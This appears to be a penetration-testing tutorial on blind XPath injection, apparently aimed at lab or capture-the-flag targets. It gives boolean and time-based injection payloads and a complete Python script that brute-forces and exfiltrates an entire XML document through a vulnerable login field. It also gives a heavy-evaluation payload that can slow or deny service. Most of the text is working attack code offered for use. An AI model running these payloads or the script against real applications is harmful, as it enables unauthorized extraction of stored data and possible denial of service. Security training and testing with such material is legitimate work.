Blind Exploitation

When results are not rendered, use boolean conditions that flip the app's response to leak bits (like blind SQLi). You need any observable difference: success vs error text, status code, or measurable processing time.

Core Boolean Pattern

Assume input lands in a predicate on username:

/users/user[username='<INPUT>']

Inject a universally true clause:

invalid' or '1'='1

If the app reports "success" for the injected value, you confirmed XPath injection (blind).

Name Length, Name, and Children Count

Use XPath functions in boolean checks:

  • Length of root element name:

invalid' or string-length(name(/*[1]))=L and '1'='1
  • Character-by-character name of a node:

invalid' or substring(name(/*[1]),POS,1)='a' and '1'='1
  • Number of children:

invalid' or count(/users/*)=N and '1'='1

Iterate L, POS, N until the response flips to "success".

Enumerating Schema

  • Start at /*[1].

  • Determine name and count(/*).

  • Recurse into each child /*[i].

Automating (Python template)

import requests, sys, string

URL = "http://<SERVER_IP>:<PORT>/index.php"
POSITIVE_STRING = "Message successfully sent!"  # tweak to your app

# returns True on positive response
def inject(expr: str) -> bool:
	payload = f"invalid' or {expr} and '1'='1"
	r = requests.post(URL, data={ 'username': payload, 'message': 'x' })
	return POSITIVE_STRING in r.text

def exfiltrate_length(subquery: str, max_length: int = 128) -> int:
	for i in range(max_length + 1):
		if inject(f"string-length({subquery})={i}"):
			return i
	raise RuntimeError(f"length not found for {subquery}")

def exfiltrate_text(subquery: str) -> str:
	L = exfiltrate_length(subquery)
	out = []
	alphabet = string.printable  # narrow if needed
	for i in range(L):
		for ch in alphabet:
			if inject(f"substring({subquery},{i+1},1)='{ch}'"):
				out.append(ch)
				break
	return ''.join(out)

def exfiltrate_children_count(base: str, max_children: int = 128) -> int:
	for i in range(max_children + 1):
		if inject(f"count({base})={i}"):
			return i
	raise RuntimeError(f"children count not found for {base}")

def walk_schema(base: str = '/*[1]', depth: int = 0):
	name = exfiltrate_text(f"name({base})")
	n = exfiltrate_children_count(base + '/*')
	print(' ' * depth + f"<{name}>")
	if n == 0:
		data = exfiltrate_text(base)
		print(' ' * (depth + 1) + data)
	else:
		for i in range(1, n + 1):
			walk_schema(f"{base}/*[{i}]", depth + 1)
	print(' ' * depth + f"</{name}>")

if __name__ == '__main__':
	print('Exfiltrating XML document (blind):')
	walk_schema('/*[1]')

Time-based Signal (when responses are identical)

XPath has no sleep(), but you can force heavy evaluation to create measurable delay when a condition is true:

invalid' or substring(/users/user[1]/username,1,1)='a' and count((//.)[count(//.)]) and '1'='1
  • If the substring condition is true, count((//.)[count(//.)]) triggers exponential traversal and slows the response.

  • If false, that branch is skipped (short-circuit), response remains fast.

Increase nested count() stacks for small documents, but beware of DoS on large ones.

Practical Tips

  • Stabilize the positive/negative signal (match exact success text, status code, or timing threshold).

  • URL-encode payloads when needed; prefer POST to avoid length limits.

  • Narrow string.printable to speed up (e.g., ascii_letters + digits + '{}_:-@./').

  • Cache intermediary findings (lengths, partial names) to resume interrupted runs.

  • Redact secrets/flags from notes; store sensitive outputs separately.

Last updated